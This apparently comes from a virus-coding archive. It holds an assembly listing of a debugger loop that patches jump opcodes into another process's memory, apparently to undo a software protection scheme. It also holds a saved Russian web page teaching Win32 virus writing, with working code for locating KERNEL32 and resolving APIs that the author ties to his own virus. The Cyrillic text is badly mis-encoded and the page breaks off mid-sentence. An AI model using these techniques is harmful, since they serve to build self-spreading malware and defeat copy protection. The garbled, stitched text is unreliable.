[_index$+ebp] cmp eax, DWORD [esi+_nanoCount] jne $L74372 ; 123 : return result; mov eax, DWORD [_result$+ebp] jmp $L74358 $L74372: ; 124 : // nano found - need type, size and destination ; 125 : res=0 mov BYTE [esi+_res], 0 ; 126 : for( i=0; i<0x100; ++i ) mov DWORD [_i$+ebp], 0 jmp $L74373 $L74374: mov eax, DWORD [_i$+ebp] add eax, 1 mov DWORD [_i$+ebp], eax $L74373: cmp DWORD [_i$+ebp], 100h jge $L74375 ; 127 : if(nano_index[i*2+0] == nano_jtyp[index]) ; -- : { mov eax, DWORD [_i$+ebp] mov ecx, DWORD [esi+_nano_index] movzx edx, BYTE [ecx+eax*2] mov eax, DWORD [esi+_nano_jtyp] add eax, DWORD [_index$+ebp] movzx ecx, BYTE [eax] cmp edx, ecx jne $L74376 ; 128 : type=nano_index[i*2+1]; ; --- : res=1; ; --- : break; ; --- : } mov eax, DWORD [_i$+ebp] mov ecx, DWORD [esi+_nano_index] mov dl, BYTE [ecx+eax*2+1] mov BYTE [_type$+ebp], dl mov BYTE [esi+_res], 1 jmp $L74375 $L74376: ; 129 : if( !res ) jmp $L74374 $L74375: movzx eax, BYTE [esi+_res] or eax, eax jnz $L74377 ; ??????????????? ; 130 : return result; mov eax, DWORD [_result$+ebp] jmp $L74358 $L74377: ; 131 : size=nano_jsiz[index]; mov eax, DWORD [esi+_nano_jsiz] add eax, DWORD [_index$+ebp] mov cl, BYTE [eax] mov BYTE [_size$+ebp], cl ; 132 : dest=nano_jdst[index]; mov eax, DWORD [_index$+ebp] mov ecx, DWORD [esi+_nano_jdst] mov edx, DWORD [ecx+eax*4] mov DWORD [_dest$+ebp], edx ; 133 : ; 134 : // set RW page access ; 135 : VirtualProtectEx(dbgProcess, (void *)addr, size+1, PAGE_ READWRITE, &oldProtect); lea eax, DWORD [_oldProtect$+ebp] push eax push 4 movzx ecx, BYTE [_size$+ebp] add ecx, 1 push ecx mov edx, DWORD [_addr$+ebp] push edx mov eax, DWORD [esi+_dbgProcess] push eax call DWORD [esi+VirtualProtectEx] ; 136 : // read bytes from process and set phys_addr -> bytes ; 137 : ReadProcessMemory(dbgProcess, (void *)addr, processBytes, size+&# 49;, &bytes); lea eax, DWORD [_bytes$+ebp] push eax movzx ecx, BYTE [_size$+ebp] add ecx, 1 push ecx lea edx, DWORD [esi+_processBytes$+ebp] push edx mov eax, DWORD [_addr$+ebp] push eax mov ecx, DWORD [esi+_dbgProcess] push ecx call DWORD [esi+ReadProcessMemory] ; 138 : switch( size ) mov al, BYTE [_size$+ebp] mov BYTE [tv134+ebp], al cmp BYTE [tv134+ebp], 1 je $L74384 cmp BYTE [tv134+ebp], 4 je $L74389 cmp BYTE [tv134+ebp], 5 je $L74393 jmp $L74381 $L74384: ; 139 : { ; 140 : case 0x01: // 2-bytes jmp/jcc ; 141 : if( short_opcodes[type] ) movzx eax, BYTE [_type$+ebp] movzx ecx, BYTE [esi+_short_opcodes+eax] test ecx, ecx je $L74385 ; 142 : { ; 143 : *(byte *)(processBytes+0) = short_opcodes[type]; movzx eax, BYTE [_type$+ebp] mov cl, BYTE [esi+_short_opcodes+eax] mov BYTE [_processBytes$+ebp], cl ; 144 : *(byte *)(processBytes+1) = (byte)((dest-1)&0&# 120;FF); mov eax, DWORD [_dest$+ebp] sub eax, 1 and eax, 0ffh mov BYTE [_processBytes$+ebp+1], al ; 145 : result=1; mov DWORD [_result$+ebp], 1 $L74385: ; 146 : } ; 147 : break; jmp $L74381 $L74389: ; 148 : case 0x04: // 5-bytes jmp/jcc ; 149 : if( longjmp_opcodes[type] ) movzx eax, BYTE [_type$+ebp] movzx ecx, BYTE [esi+_longjmp_opcd+eax] test ecx, ecx je $L74390 ; 150 : { ; 151 : *(byte *)(processBytes+0) = longjmp_opcodes[type]; movzx eax, BYTE [_type$+ebp] mov cl, BYTE [esi+_longjmp_opcd+eax] mov BYTE [_processBytes$+ebp], cl ; 152 : *(dword *)(processBytes+1) = dest-4; mov eax, DWORD [_dest$+ebp] sub eax, 4 mov DWORD [_processBytes$+ebp+1], eax ; 153 : result=1; mov DWORD [_result$+ebp], 1 $L74390: ; 154 : } ; 155 : break; jmp $L74381 $L74393: ; 156 : case 0x05: // 6-bytes jmp ; 157 : if( long_opcodes[type] ) movzx eax, BYTE [_type$+ebp] movzx ecx, WORD [esi+_long_opcodes+eax*2] test ecx, ecx je $L74381 ; 158 : { ; 159 : *(word *)(processBytes+0) = long_opcodes[type]; movzx eax, BYTE [_type$+ebp] mov cx, WORD [esi+_long_opcodes+eax*2] mov WORD [_processBytes$+ebp], cx ; 160 : *(dword *)(processBytes+2) = dest-5; mov eax, DWORD [_dest$+ebp] sub eax, 5 mov DWORD [_processBytes$+ebp+2], eax ; 161 : result=1; mov DWORD [_result$+ebp], 1 $L74381: ; 162 : } ; 163 : break; ; 164 : } ; 165 : // write bytes to process ; 166 : WriteProcessMemory(dbgProcess, (void *)addr, processBytes, size+& #49;, &bytes); lea eax, DWORD [_bytes$+ebp] push eax movzx ecx, BYTE [_size$+ebp] add ecx, 1 push ecx lea edx, DWORD [_processBytes$+ebp] push edx mov eax, DWORD [_addr$+ebp] push eax mov ecx, DWORD [esi+_dbgProcess] push ecx call DWORD [esi+WriteProcessMemory] ; 167 : // restore page protection ; 168 : VirtualProtectEx(dbgProcess, (void *)addr, size+1, oldPr otect, &oldProtect); lea eax, DWORD [_oldProtect$+ebp] push eax mov ecx, DWORD [_oldProtect$+ebp] push ecx movzx edx, BYTE [_size$+ebp] add edx, 1 push edx mov eax, DWORD [_addr$+ebp] push eax mov ecx, DWORD [esi+_dbgProcess] push ecx call DWORD [esi+VirtualProtectEx] ; 169 : return result; mov eax, DWORD [_result$+ebp] $L74358: ; 170 : } pop edi pop esi pop ebx mov esp, ebp pop ebp ret 0 ;------------------------------------------------------------------------------- ------------------ _i$ = -4 ; size = 4 _id$ = 8 ; size = 4 _hnd$ = 12 ; size = 4 _AddThread: ; 173 : { push ebp mov ebp, esp sub esp, 68 ; 0000&# 48;044H push ebx push esi push edi ; 174 : int i; ; 175 : for(i=0; i<MAX_THREADS; ++i) mov DWORD [_i$+ebp], 0 jmp $L74405 $L74406: mov eax, DWORD [_i$+ebp] add eax, 1 mov DWORD [_i$+ebp], eax $L74405: cmp DWORD [_i$+ebp], 100 ; 00 8;00064H jge $L74403 ; 176 : if( threads[i][0]==0 && threads[i][1]==0 ) mov eax, DWORD [_i$+ebp] cmp DWORD [esi+_threads+eax*8], 0 jne $L74408 mov eax, DWORD [_i$+ebp] cmp DWORD [esi+_threads+eax*8+4], 0 jne $L74408 ; 177 : { ; 178 : threads[i][0]=id; mov eax, DWORD [_i$+ebp] mov ecx, DWORD [_id$+ebp] mov DWORD [esi+_threads+eax*8], ecx ; 179 : threads[i][1]=hnd; mov eax, DWORD [_i$+ebp] mov ecx, DWORD [_hnd$+ebp] mov DWORD [esi+_threads+eax*8+4], ecx ; 180 : break; jmp $L74403 $L74408: ; 181 : } ; 182 : } jmp $L74406 $L74403: pop edi pop esi pop ebx mov esp, ebp pop ebp ret 0 ;------------------------------------------------------------------------------- ------------------ _i$ = -4 ; size = 4 _id$ = 8 ; size = 4 _DelThread: ; 185 : { push ebp mov ebp, esp sub esp, 68 ; 0000&# 48;044H push ebx push esi push edi ; 186 : int i; ; 187 : for(i=0; i<MAX_THREADS; ++i) mov DWORD [_i$+ebp], 0 jmp $L74413 $L74414: mov eax, DWORD [_i$+ebp] add eax, 1 mov DWORD [_i$+ebp], eax $L74413: cmp DWORD [_i$+ebp], 100 ; 00 8;00064H jge $L74411 ; 188 : if( threads[i][0] == id ) mov eax, DWORD [_i$+ebp] mov ecx, DWORD [esi+_threads+eax*8] cmp ecx, DWORD [_id$+ebp] jne $L74416 ; 189 : { ; 190 : threads[i][0]=0; mov eax, DWORD [_i$+ebp] mov DWORD [esi+_threads+eax*8], 0 ; 191 : threads[i][1]=0; mov eax, DWORD [_i$+ebp] mov DWORD [esi+_threads+eax*8+4], 0 ; 192 : break; jmp $L74411 $L74416: ; 193 : } ; 194 : } jmp $L74414 $L74411: pop edi pop esi pop ebx mov esp, ebp pop ebp ret 0 ;------------------------------------------------------------------------------- ------------------ _i$ = -8 ; size = 4 _hnd$ = -4 ; size = 4 _id$ = 8 ; size = 4 _GetThread: ; 197 : { push ebp mov ebp, esp sub esp, 72 ; 0000&# 48;048H push ebx push esi push edi ; 198 : HANDLE hnd=NULL; mov DWORD [_hnd$+ebp], 0 ; 199 : int i; ; 200 : for(i=0; i<MAX_THREADS; ++i) mov DWORD [_i$+ebp], 0 jmp $L74423 $L74424: mov eax, DWORD [_i$+ebp] add eax, 1 mov DWORD [_i$+ebp], eax $L74423: cmp DWORD [_i$+ebp], 100 ; 00 8;00064H jge $L74425 ; 201 : if( threads[i][0] == id ) mov eax, DWORD [_i$+ebp] mov ecx, DWORD [esi+_threads+eax*8] cmp ecx, DWORD [_id$+ebp] jne $L74426 ; 202 : { ; 203 : hnd=threads[i][1]; mov eax, DWORD [_i$+ebp] mov ecx, DWORD [esi+_threads+eax*8+4] mov DWORD [_hnd$+ebp], ecx ; 204 : break; jmp $L74425 $L74426: ; 205 : } ; 206 : return hnd; jmp $L74424 $L74425: mov eax, DWORD [_hnd$+ebp] ; 207 : } pop edi pop esi pop ebx mov esp, ebp pop ebp ret 0 db 'eof' data_begin: ;------------------------------------------------------------------------------- ------------------ stub/r.bat: @echo off rem bcc32 -S -rd dbgloop.c rem "d:\program files\microsoft visual studio .Net 2003\vc7\bin\cl&# 34; /I"d:\program files\microsoft visual studio .Net 2003\vc7\platfo rmsdk\include" /Tc /Fa /FA dbgloop.c start d:\fasm\fasmw dbg_loop.asm stub/Џг⥢®¤ЁвҐ«м Ї® ­ ЇЁб ­Ёо ўЁагб®ў Ї®¤ Win32 4_ Ring-3, Їа®Ја ¬¬Ёа®ў ­ЁҐ ­  га®ў­Ґ Ї®«м§®ў вҐ«п.htm: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" 2; <!-- saved from url=(0040)http://wasm.ru/article.php?article=vgw04 --> <HTML><HEAD><TITLE>[W A S M . R U] ╤╥└╥▄╚ > ┬ирусоло гия > ╧утеводитель по написани  вирусов под Win32: 4. Ring-3, программирован ие на уровне пользователя</TITLE> <META http-equiv=Content-Type content="text/html; charset=windows-& #49;251"> <STYLE type=text/css>BODY { BACKGROUND: #f1f0e7; FONT: 11px Verdana, Arial } P { FONT: 10pt Verdana, Arial; COLOR: #000000; TEXT -ALIGN: justify } UL { FONT: 10pt Verdana, Arial; COLOR: #000000 } OL { FONT: 10pt Verdana, Arial; COLOR: #000000 } BLOCKQUOTE { FONT: 10pt Arial, Verdana; COLOR: #000000 } PRE { BACKGROUND: #ffffff; FONT: 10pt Courier, Tahoma, Arial } TD { FONT: 8pt Verdana,Arial; COLOR: #000000 } A { COLOR: #000000; TEXT-DECORATION: underline } A.nav { COLOR: #000000; TEXT-DECORATION: none } A:hover { BACKGROUND: silver; TEXT-DECORATION: underline overline } .updt { BACKGROUND-COLOR: #ffffff } H2 { FONT-SIZE: 16px } H1 { FONT-SIZE: 18pt; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif } H5 { FONT-SIZE: 9pt } .ctr { TEXT-INDENT: 0pt; TEXT-ALIGN: center } .n { PADDING-RIGHT: 5pt; PADDING-LEFT: 5pt; FONT-SIZE: 14px; PADDING-BOTTOM : 5pt; CURSOR: text; PADDING-TOP: 5pt; FONT-FAMILY: "Times New Roman 4;, Times, serif; BACKGROUND-COLOR: #e3e0db; TEXT-ALIGN: justify } TABLE.n { BORDER-RIGHT: #000000 1pt solid; BORDER-TOP: #0 00000 1pt solid; BORDER-LEFT: #00000 0 1pt solid; BORDER-BOTTOM: #000000 1pt soli d; BACKGROUND-COLOR: #000000 } .w { FONT-SIZE: 10pt; FONT-FAMILY: Verdana, Arial; BACKGROUND-COLOR: #ffffff } </STYLE> <META content="MSHTML 6.00.2600.0" name=GENERATO R></HEAD> <BODY> <TABLE cellSpacing=0 cellPadding=0 width="98%" align=cen ter background="╧утеводитель по написани  вирусов под Win32 4_ Ring-3, программи рование на уровне пользователя.files/3.gif" border=0> <TBODY> <TR vAlign=top align=left> <TD width=110><A href="http://wasm.ru/index.php"><IMG alt="Windows Assembly Site" src="╧утеводитель по написани  вирусов под Win32 4_ Ring-3, программир ование на уровне пользователя.files/header.gif" border=0></A></TD> <TD vAlign=center><NOBR>|<A class=nav title=Noticias href="http://was m.ru/index.php"><B>═овости</B></A>| |&# 60;A class=nav title="Acerca del sitio" href="http://wasm.ru/about.php"><B>╬ проекте</B></A>| |<A class=nav title=Phoro href="http ://www.wasm.ru/forum/"><B>&#920;орум</B>< ;/A>| |<A class=nav title=Enlaces href="http://wasm.ru/links.php"><B>╤сылки</B>< ;/A>| </NOBR></TD> <TD vAlign=center align=right>|<A class=nav title="" href="http://www.guestbook.ru/book.php?user=wasm&action=show" target=_blank><B>├остевая</B></A>| </TD 2;</TR></TBODY></TABLE><BR> <TABLE cellSpacing=0 cellPadding=0 width="98%" align=cen ter border=0> <TBODY> <TR> <TD vAlign=top width=180><!-- <FORM ACTION="/cgi-bin/search.pl" METHOD="GET"> ╚скать (иголку): <br> <INPUT TYPE="Text" NAME="query" SIZE="15"&# 62; <INPUT TYPE="Hidden" NAME="stpos" VALUE="0"> <INPUT TYPE="Submit" VALUE="Go!"> <BR> <INPUT TYPE="Radio" NAME="stype" VALUE="AND" checked >"AND" <INPUT TYPE="Radio" NAME="stype" VALUE="OR">" ;OR" </FORM> --></TD> <TD align=middle> <H2>╤╥└╥▄╚ > ┬ирусология</H2></TD></TR> </TBODY></TABLE> <TABLE cellSpacing=0 cellPadding=0 width="98%" align=cen ter border=0> <TBODY> <TR vAlign=top> <TD> <TABLE cellSpacing=0 cellPadding=0 width=180 border=&# 48;> <TBODY> <TR> <TD><STRONG><BIG>╖ </BIG></STRONG& #62;<A class=nav title=Artículos href="http://wasm.ru/publist.php"><B>╤татьи</B></A& #62;<BR><STRONG><BIG>╖ </BIG></STRONG><A class=nav title="Códi gos fuente" href="http://wasm.ru/srclist.php"><B>╚сходники</B>< /A><BR><STRONG><BIG>╖ </BIG></STRONG><A class=nav title=Herramientas href="http://wasm.ru/toollist.php"><B>╚нструменты</B>& #60;/A><BR><STRONG><BIG>╖ </BIG></STRONG><A class=nav title=Documentaci 43;n href="http://wasm.ru/doclist.php"><B>─окументация</B>&# 60;/A><BR><BR><STRONG><B><A class=nav title=Artículos href="http://wasm.ru/publist.php">╤татьи:</A></B></ STRONG><BR><STRONG><BIG>╖ </BIG></STRONG><A class=nav title="Programación de bajo nivel para seguidores del Zen&# 34; href="http://wasm.ru/publist.php?list=22">═изкоуровневое программирование для дZенству щих</A><BR><STRONG ><BIG>╖ </BIG></STRONG><A class=nav title="Tutoriale s de Iczelion" href="http://wasm.ru/publist.php?list=1">╙роки Iczelion'а</A><BR><STRONG><BIG>╖ </BIG></STRONG><A class=nav title="Técnicas de COM" href="http://wasm.ru/publist.php?list=15">╥ехнология COM</A><BR><STRONG><BIG>╖ </BIG& #62;</STRONG><A class=nav title=DirectX/OpenGL href="http://wasm.ru/publist.php?list=19">DirectX/OpenGL&# 60;/A><BR><STRONG><BIG>╖ </BIG></STRONG><A class=nav title="Misterios de Win32" href="http://wasm.ru/publist.php?list=21">╤екреты Win32</A><BR><STRONG><BIG>╖ </BI G></STRONG><A class=nav title=Optimización href="http://wasm.ru/publist.php?list=10">╬птимизация< /A><BR><STRONG><BIG>╖ </BIG></STRONG><A class=nav title=Compiladores href="http://wasm.ru/publist.php?list=18">╩омпиляторы</A&# 62;<BR><STRONG><BIG>╖ </BIG></STRONG><A class=nav title="Defensa c ontra depuración" href="http://wasm.ru/publist.php?list=17">╟ащита от отладки</A><BR><STRONG><BIG>╖ </ BIG></STRONG><A class=nav title=Virusología href="http://wasm.ru/publist.php?list=6">┬ирусология</A>&# 60;BR><STRONG><BIG>╖ </BIG></STRONG><A class=nav title=Seguridad href="http://wasm.ru/publist.php?list=20">┴езопасность</A& #62;<BR><STRONG><BIG>╖ </BIG></STRONG><A class=nav title=Red href="http://wasm.ru/publist.php?list=16">╤еть</A>< ;BR><STRONG><BIG>╖ </BIG></STRONG><A class=nav title="Formatos de archivos" href="http://wasm.ru/publist.php?list=8">╘орматы файлов</A><BR><STRONG><BIG>╖ </B IG></STRONG><A class=nav title="Zen para programadores" href="http://wasm.ru/publist.php?list=14">╧рограммерский дZен</A><BR><STRONG><BIG>╖ </BIG ></STRONG><A class=nav title=Procesadores href="http://wasm.ru/publist.php?list=11">╧роцессоры</ A><BR><STRONG><BIG>╖ </BIG></STRONG><A class=nav title="Discos y drives" href="http://wasm.ru/publist.php?list=12">┬инты и флопики</A><BR><STRONG><BIG>╖ </ BIG></STRONG><A class=nav title=BIOS/CMOS href="http://wasm.ru/publist.php?list=13">BIOS/CMOS</A> ;<BR><STRONG><BIG>╖ </BIG></STRONG><A class=nav title="DOS por s iempre!" href="http://wasm.ru/publist.php?list=7">DOS навсегда!</A><BR><STRONG><BIG>╖ < ;/BIG></STRONG><A class=nav title="Ingeniería inversa" href="http://wasm.ru/publist.php?list=23">╚сследование программ</A><BR><STRONG><BIG>╖ < /BIG></STRONG><A class=nav title="Modo protegido" href="http://wasm.ru/publist.php?list=24">╟ащищенный режим</A><BR><STRONG><BIG>╖ </BI G></STRONG><A class=nav title=Algoritmos href="http://wasm.ru/publist.php?list=25">└лгоритмы</A> 0;BR><STRONG><BIG>╖ </BIG></STRONG><A class=nav title=Consolas href="http://wasm.ru/publist.php?list=26">╩онсоли</A>< BR><STRONG><BIG>╖ </BIG></STRONG><A class=nav title=Linux/Uni x href="http://wasm.ru/publist.php?list=28">Linux/Unix< ;/A><BR><STRONG><BIG>╖ </BIG></STRONG><A class=nav title=Assembler.Ru href="http://wasm.ru/publist.php?list=5">Assembler.Ru</A>& #60;BR><STRONG><BIG>╖ </BIG></STRONG><A class=nav title=Varios href="http://wasm.ru/publist.php?list=27">╨азное</A><B R><BR></TD></TR></TBODY></TABLE>< ;/TD> <TD width=5><IMG height=1 width=1></TD> <TD> <H3 align=center>╧утеводитель по написани  вирусов под Win32: 4. R ing-3, программирование на уровне пользователя</H3>╖ <A href="http://wasm.ru/print.php?article=vgw04">версия для печати< ;/A> <P>─а, это правда, что уровень пользователя налагает на нас много репрессивных и фашистских ограничений на нас, ограничива щих нашу свободу, к которой мы привыкли, программируя вирусы под DOS, но парни (и девушки - прим. пер.), это жизнь, это Micro$oft. ╠ежду прочим, это единственный путь сделать так, чтобы вирус был полность  Win32-совместимым и это среда окружения будущего, как вы должны знать. ┬о-первых, давайте посмотрим как получить адрес базы KERNEL32 (для Win32-совместимости) очень простым образом: <P><STRONG>╧ростой способ получить адрес базы KERNEL32< ;/STRONG> <P>╩ак вы знаете, когда мы запускаем приложением, код вызывается о ткуда-то из KERNEL32 (т.е. KERNEL делает вызов нашего кода), а потом, если вы помните, когда вызов сделан, адрес возврата лежит на стеке (адрес памяти в ESP). ─авайте применим эти знания на практике: <P><CODE><PRE>;---[ CUT HERE ]-------------------- ----------------------------------------- .586p ; ┴ах... просто так .model flat ; ╒ехехе, я л бл  32 бита .data ; ╩ое-какие данные (их требует ; TASM32/TLINK32) db ? .code start: mov eax,[esp] ; ╥еперь EAX будет равен BFF8XXXXh ; (в w9X) ; т.е. где-то внутри API ; CreateProcess :) ret ; ┬озвраемся в него ;) end start ;---[ CUT HERE ]------------------------------------------------------------- 0;/PRE></CODE> <P>╬к, это просто. ╙ нас в EAX есть значение, примерно равно BFF8X XXX (XXXX не играет роли, нам не нужно знать его точно. ╥ак как Win32-платформы обычно все огруля т до страницы, значит заголовок KERNEL32 находится в начале страницы, и мы можем легко найти его. └ как только мы найдем заголовок PE, о котором я и веду речь, мы будем знать адрес KERNEL32. ╒ммм, наш лимит - 50h страниц. ╒ехе, не беспокойтесь, далее последует некоторый код ;). <P><CODE><PRE>;---[ CUT HERE ]-------------------- ----------------------------------------- .586p .model flat extrn ExitProcess:PROC .data limit equ 5 db 0 ;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖; ; ═енужные и несущественные данные :) ; ;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖; .code test: call delta delta: pop ebp sub ebp,offset delta mov esi,[esp] and esi,0FFFF0000h call GetK32 push 00000000h call ExitProcess ;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖; ; ├рхм, я предполага , что вы, по крайней мере, нормальный asm-кодер, то ; ; то есть знаете, что первый блок инструкций предназначается для получения ; ; дельта-смещения (хорошо, это не необходимо в данном примере, как бы то ; ; ни было я хочу придать данному коду сходство с вирусом). ═ам интересен ; ; второй блок. ╠ы помещаем в ESI адрес, откуда было вызвано наше ; ; приложение. ╬н находится в ESP (если мы, конечно, не трогали стек после ; ; загрузки программы. ┬торая инструкция, AND, получает начало страницы, из ; ; которой был вызван наш код. ╠ы вызываем нашу процедуру, после чего ; ; прерываем процесс ;). ; ;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖; GetK32: __1: cmp byte ptr [ebp+K32_Limit],00h jz WeFailed cmp word ptr [esi],"ZM" jz CheckPE __2: sub esi,10000h dec byte ptr [ebp+K32_Limit] jmp __1 ;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖; ; ╤начала мы проверяем, не превысили ли мы лимит (50 страниц). ╧осле того, ; ; как мы находим страницу с сигнатурой 'MZ' в начале, ищем заголовок PE . ; ; ┼сли мы его не находим, то вычитае 10 страниц (1000&# 48;h байтов), уменьшаем ; ; переменну  лимита и ищем снова. ; ;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖; CheckPE: mov edi,[esi+3Ch] add edi,esi cmp dword ptr [edi],"EP" jz WeGotK32 jmp __2 WeFailed: mov esi,0BFF70000h WeGotK32: xchg eax,esi ret K32_Limit dw limit ;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖; ; ╠ы получаем значение по смещени  3Ch из заголовка MZ (там содержится ; ; RVA-адрес начала заголовка PE), потом соотносим его с адресом страницы, ; ; и если адрес памяти, находящийся по данному смещени  - метка PE, мы ; ; мы считаем, что нашли то, что нужно... и это действительно так! ;) ; ;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖; end test ;---[ CUT HERE ]------------------------------------------------------------- 0;/PRE></CODE> <P>╨екомендация: я протестировал это у меня не было никаких пробле м в Win98 и WinNT4 с установленным SP3, как бы то ни было, так как я не зн а , что может произойти, я совету  вам использовать SEH, чтобы избежать возможных ошибок и синего экрана. SEH будет объяснен в последу щих уроках. ╒ех, этот метод использовал Lord Julus в своих туториалах (для поиска GetModuleHandleA в зараженных файлах), что не очень эффективно для моих нужд, как бы то ни было, я покажу собственну  верси  этого кода, где объясн , что можно сделать с импортами. ═апример, это можно использовать в пер-процессных (per-process) резидентных вирусах с небольшими изменениями в процедуре ;). <P><STRONG>╧олучить эти сумасшедшие функции API</STRON G> <P>Ring-3, как я уже говорил, это уровень пользователя, поэтому на м доступны только его немногие возможности. ╠ы не можем использовать порты, читать или писать в определенные области памяти и так далее. Micro$oft основывала свои утверждения, сделанные при разработке Win95 (которая, похоже, наименее всего соответствует утверждени , что "Win32-платформы не могут быть подвергнуты заражени "), на том, что если они перекро т дос туп ко всему, что обычно использу т вирусы, они смогут победить нас. ┬ их мечтах. ╬ни думали, что мы не сможем использовать их API, и более того, они не могли представить, что мы попадем в Ring-0, но это уже другая история. <P>╦адно, как было сказано ранее, у нас есть объявленное как внешн ее имя функции API, поэтому import32.lib даст нам адрес функции и это будет правильным образом скомпилированно в код, но у нас появятся проблемы при написании вирусов. ┼сли мы будем ссылаться на фиксированные смещения этих функций, то очень вероятно, что этот адрес не будет работать в следу щей версии Win32. ┬ы можете найти пример в Bizatch. ╫то нам нужно сделать? ╙ нас есть функция под названием GetProcAddress, которая возвращает адрес нужной нам API-функции. ┬ы можете заметить, что GetProcAddress тоже функция API, как же мы можем использовать ее? ╙ нас есть несколько путей сделать это, и я покажу вам два самых лучших (на мой взгляд) из них: <P>1. ╧оиск GetProcessAddress в таблице экспортов.<BR> 2. ┬ зараженном файле ищем среди импортированных функций GetProcAddress. <P>╤амый простой путь - первый, который я первым и объясн  :). ╤на чала немного теории, а потом код. <P>┼сли вы взглянете на формат заголовка PE, то увидите, что по см ещени  78h (заголовка PE, а не файла) находится RVA (относительный виртуальный адрес) таблицы экспортов. ╬к, нам нужно получить адрес экспортов ядра. ┬ Windows 95/98 этот адрес равен 0BFF70000h, а в Windows NT оно равно 077F00000h. ┬ Win2k у нас будет адрес 077E0 ;0000h. ╧оэтому сначала мы должны загрузить адрес таблицы в регистр, который будем использовать как указатель. ▀ настоятельно рекоменду  ESI, потому что тогда мы можем использовать LODSD. <P>╠ы проверяем, находится ли в начале слова "MZ" (ладно-л адно, "ZM", черт побери эту интеловску  архитектуру процессора :) ), потому что ядро - это библиотека (.DLL), а у них тоже есть PE-заголовок, и как мы могли видеть ранее, часть его служить для совместимости с DOS. ╧осле данного сравнения давайте проверим, действительноли это PE, поэтому мы смотрим ячейку памяти по смещени  адрес_базы+[3Ch] (смещение, откуда начинается ядро + адрес, который находится по смещен  3Ch в PE-заголовке) и сравниваем с "PE\&# 48;\0" (сигнатурой PE). <P>┼сли все хорошо, тогда идем дальше. ═ам нужен RVA таблицы экспо ртов. ╩ак вы можете видеть, он находится по смещени  78h в заголовке PE - вот мы его и получили. ═о как вы знаете, RVA (относительный виртуальный адрес), согласно своему имени, относительно определенного смещения, в данном случае - базы образа ядра. ┬се очень просто: просто добавьте смещение ядра к найденному значени . ╒орошо. ╥еперь мы находимся в таблице экспорта :). <P>─авайте посмотрим ее формат: <P><IMG src="╧утеводитель по написани  вирусов под Win32 4_ Ring-3, программир ование на уровне пользователя.files/vgw04_p01.gif"> <P>─ля нас важны последние 6 полей. ╟начения RVA таблицы адресов, указателей на имена и ординалов явля тся относительными к базе KERNEL32, как вы можете предположить. ╧оэтому первый шаг, который мы должны предпринять для получения адреса API, - это узнать позици  его позици  в таблице. ╠ы сделаем пробег по таблице указателей на имена и будем сравнивать строки, пока не произойдет совпадения с именем нужной нам функции. ╨азмер счетчика, который мы будем использовать, должен быть больше байта. <P>╬братите внимание: я предполага , что в вы сохраняете в соответ ству щих переменных VA (RVA + адрес базы образа) таблиц адресов, имен и ординалов. <P>╬к, представьте, что мы получили имя функции API, которое нам б ыло нужно, поэтому в счетчике у нас будет ее позиция в таблице указателей на имена. ╦адно, теперь последует самая сложная часть для начина щих в программировании под Win32. ╙ нас есть счетчик и теперь нам нужно найти в таблице ординалов API, адрес которого мы хотим получить. ╧оскольку у нас есть номер позиции функции, мы умножаем его на 2 (таблица ординалов состоит из слов) и прибавляем полученный результат к адресу таблицы ординалов. ═ижеследу щая формула кратко рез мирует вышесказанное: <P>╠естонахождение функции API: (счетчик * 2) + VA таблицы ординал ов <P>╧росто, не правда ли? ╦адно, следу щий шаг (и последний) закл ч ается в том, чтобы получить адрес API-функции из таблицы адресов. ╙ нас уже есть ординал функции. ╤ его помощь  наша жизнь изрядно упрощается. ╠ы просто должны умножить ординал на 4 (так как массив адресов формируется из двойных слов, а размер двойного слова равен 4) и добавляем его к смещени  начала адреса таблицы адресов, который мы получили ране. ╒ехе, теперь у нас есть RVA адрес API-функции. ╥еперь мы должны нормализировать его, добавить смещение ядра и все! ╠ы получили его!!! ─авайте посмотрим на просту  математическу  формулу: <P>└дрес API-функции: (╬рдинал функции*4)+VA таблицы адресов+база KERNEL32 <P><IMG src="╧утеводитель по написани  вирусов под Win32 4_ Ring-3, программир ование на уровне пользователя.files/vgw04_p02.gif"> <P>[...] ┬ этих таблицах больше элементов, но в качестве примера э того вполне достаточно... <P>▀ наде сь, что вы поняли мои объяснения. ▀ пыта сь объяснить та к просто, как это возможно, если вы не поняли их, то не читайте дальше, а перечитайте снова. ┴удьте терпеливы. ▀ уверен, что вы все поймете. ╒мм, может вам нужно сйчас немного кода, чтобы увидеть это в действии. ┬от мои процедуры, которые я использовал, например, в моем вирусе Iced Earth. <P><CODE><PRE>;---[ CUT HERE ]-------------------- ----------------------------------------- ; ; ╧роцедуры GetAPI и GetAPIs ; --------------------------- ; ; ▌то мои процедуры, необходимые для нахождения всех требуемых функций API... ; ╬ни поделены на 2 части. ╧роцедура GetAPI получает только ту функци , ; котору  мы ей указываем, а GetAPIs 